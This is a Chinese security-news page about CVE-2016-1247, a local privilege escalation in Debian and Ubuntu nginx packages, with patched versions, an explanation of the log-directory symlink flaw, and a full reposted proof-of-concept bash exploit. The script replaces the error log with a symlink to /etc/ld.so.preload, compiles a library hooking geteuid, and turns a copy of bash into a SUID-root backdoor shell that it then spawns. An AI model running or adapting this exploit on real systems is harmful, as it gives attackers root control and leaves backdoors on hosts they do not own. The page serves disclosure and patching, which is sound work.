频道栏目
首页 > 资讯 > 安全公告 > 正文

CVE-2016-1247:Debian、Ubuntu发行版的Nginx本地提权漏洞(含POC)

16-11-18        来源:[db:作者]  
收藏   我要投稿

背景介绍

Nginx是一个高性能的HTTP和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。

漏洞描述

Debian、Ubuntu发行版的Nginx在新建日志目录的时,使用了不安全的权限,因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。

漏洞概要

Debian发行版的Nginx本地提权漏洞,该漏洞已经在1.6.2-5+deb8u3中修复

因为该漏洞细节是在官方修复后公布的,因此请低版本的Debian/ubuntu用户及时更新补丁:

补丁修复情况:

Debian:

在Nginx 1.6.2-5+deb8u3中修复

Ubuntu:

Ubuntu 16.04 LTS:

在1.10.0-0ubuntu0.16.04.3中修复

Ubuntu 14.04 LTS:

在1.4.6-1ubuntu3.6中修复

Ubuntu 16.10:

在1.10.1-0ubuntu1.1中修复

漏洞细节

基于Debian系统默认安装的Nginx会在下面的路径使用下面的权限新建Nginx日志目录

root@xenial:~# ls -ld /var/log/nginx/

drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/

root@xenial:~# ls -ld /var/log/nginx/*

-rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log

-rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log

我们可以看到/var/log/nginx目录的拥有者是www-data,因此本地攻击者可以通过符号链接到任意文件来替换日志文件,从而实现提权。

攻击者通过符号链接替换了日志文件后,需要等nginx daemon重新打开日志文件,因此需要重启Nginx,或者nginx damon接受USR1进程信号。

这里亮点来了,USR1进程信号会在默认安装的Nginx通过logrotate脚本调用的do_rotate()函数自动触发。

--------[ /etc/logrotate.d/nginx ]--------

/var/log/nginx/*.log {

daily

missingok

rotate 52

compress

delaycompress

notifempty

create 0640 www-data adm

sharedscripts

prerotate

if [ -d /etc/logrotate.d/httpd-prerotate ]; then \

run-parts /etc/logrotate.d/httpd-prerotate; \

fi \

endscript

postrotate

invoke-rc.d nginx rotate >/dev/null 2>&1

endscript

}

[...]

do_rotate() {

start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME

return 0

}

[...]

我们可以看到logrotation脚本会在corn中每天6:25AM自动调用,因此如果/etc/logrotate.d/nginx已经设置了'daily'日志回滚,攻击者将在不需要任何系统管理员交互的情况下,在24小时内实现提权到ROOT

漏洞验证截图

 

 

POC

#!/bin/bash

#

# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit

# nginxed-root.sh (ver. 1.0)

#

# CVE-2016-1247

#

# Discovered and coded by:

#

# Dawid Golunski

# dawid[at]legalhackers.com

#

# https://legalhackers.com

#

# Follow https://twitter.com/dawid_golunski for updates on this advisory.

#

# ---

# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu

# etc.) to escalate their privileges from nginx web server user (www-data) to root

# through unsafe error log handling.

#

# The exploit waits for Nginx server to be restarted or receive a USR1 signal.

# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)

# script which is called daily by the cron.daily on default installations.

# The restart should take place at 6:25am which is when cron.daily executes.

# Attackers can therefore get a root shell automatically in 24h at most without any admin

# interaction just by letting the exploit run till 6:25am assuming that daily logrotation

# has been configured.

#

#

# Exploit usage:

# ./nginxed-root.sh path_to_nginx_error.log

#

# To trigger logrotation for testing the exploit, you can run the following command:

#

# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

#

# See the full advisory for details at:

# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

#

# Video PoC:

# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

#

#

# Disclaimer:

# For testing purposes only. Do no harm.

#

BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/nginxrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

# Cleanup

echo -e "\n[+] Cleaning up..."

rm -f $PRIVESCSRC

rm -f $PRIVESCLIB

rm -f $ERRORLOG

touch $ERRORLOG

if [ -f /etc/ld.so.preload ]; then

echo -n > /etc/ld.so.preload

fi

echo -e "\n[+] Job done. Exiting with code $1 \n"

exit $1

}

function ctrl_c() {

echo -e "\n[+] Ctrl+C pressed"

cleanexit 0

}

#intro

cat

_______________________________

-------------------------------

\

\ __---__

_- /--______

__--( / \ )XXXXXXXXXXX\v.

.-XXX( O O )XXXXXXXXXXXXXXX-

/XXX( U ) XXXXXXX\

/XXXXX( )--_ XXXXXXXXXXX\

/XXXXX/ ( O ) XXXXXX \XXXXX\

XXXXX/ / XXXXXX \__ \XXXXX

XXXXXX__/ XXXXXX \__---->

---___ XXX__/ XXXXXX \__ /

\- --__/ ___/\ XXXXXX / ___--/=

\-\ ___/ XXXXXX '--- XXXXXX

\-\/XXX\ XXXXXX /XXXXX

\XXXXXXXXX \ /XXXXX/

\XXXXXX > _/XXXXX/

\XXXXX--__/ __-- XXXX/

-XXXXXXXX--------------- XXXXXX-

\XXXXXXXXXXXXXXXXXXXXXXXXXX/

""VXXXXXXXXXXXXXXXXXXV""

_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"

echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args

if [ $# -lt 1 ]; then

echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"

echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"

exit 3

fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"

id | grep -q www-data

if [ $? -ne 0 ]; then

echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"

exit 3

fi

# Set target paths

ERRORLOG="$1"

if [ ! -f $ERRORLOG ]; then

echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"

exit 3

fi

# [ Exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat $PRIVESCSRC

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

{C}#include

uid_t geteuid(void) {

static uid_t (*old_geteuid)();

old_geteuid = dlsym(RTLD_NEXT, "geteuid");

if ( old_geteuid() == 0 ) {

chown("$BACKDOORPATH", 0, 0);

chmod("$BACKDOORPATH", 04777);

unlink("/etc/ld.so.preload");

}

return old_geteuid();

}

_solibeof_

/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"

if [ $? -ne 0 ]; then

echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."

cleanexit 2;

fi

# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH

echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check

if [ -f /etc/ld.so.preload ]; then

echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."

exit 2

fi

# Symlink the log file

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

if [ $? -ne 0 ]; then

echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."

cleanexit 3

fi

echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered

curl http://localhost/ >/dev/null 2>/dev/null

# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily

# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)

echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."

while :; do

sleep 1

if [ -f /etc/ld.so.preload ]; then

echo $PRIVESCLIB > /etc/ld.so.preload

rm -f $ERRORLOG

break;

fi

done

# /etc/ld.so.preload should be owned by www-data user at this point

# Inject the privesc.so shared library to escalate privileges

echo $PRIVESCLIB > /etc/ld.so.preload

echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"

echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

sudo 2>/dev/null >/dev/null

# Check for the rootshell

ls -l $BACKDOORPATH

ls -l $BACKDOORPATH | grep rws | grep -q root

if [ $? -eq 0 ]; then

echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"

echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"

else

echo -e "\n[!] Failed to get root"

cleanexit 2

fi

rm -f $ERRORLOG

echo > $ERRORLOG

# Use the rootshell to perform cleanup that requires root privilges

$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

# Reset the logging to error.log

$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell

echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"

$BACKDOORPATH -p -i

# Job done.

cleanexit 0:Debian、ubuntu发行版的Nginx本地提权漏洞(含POC)

修复方案

升级为最新的Nginx软件包

https://www.debian.org/security/2016/dsa-3701

https://www.ubuntu.com/usn/usn-3114-1/

相关TAG标签
上一篇:安全领域中机器学习的对抗和博弈
下一篇:修补网络安全人才缺口要多少钱?美国国家标准及技术研究:36万美元
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站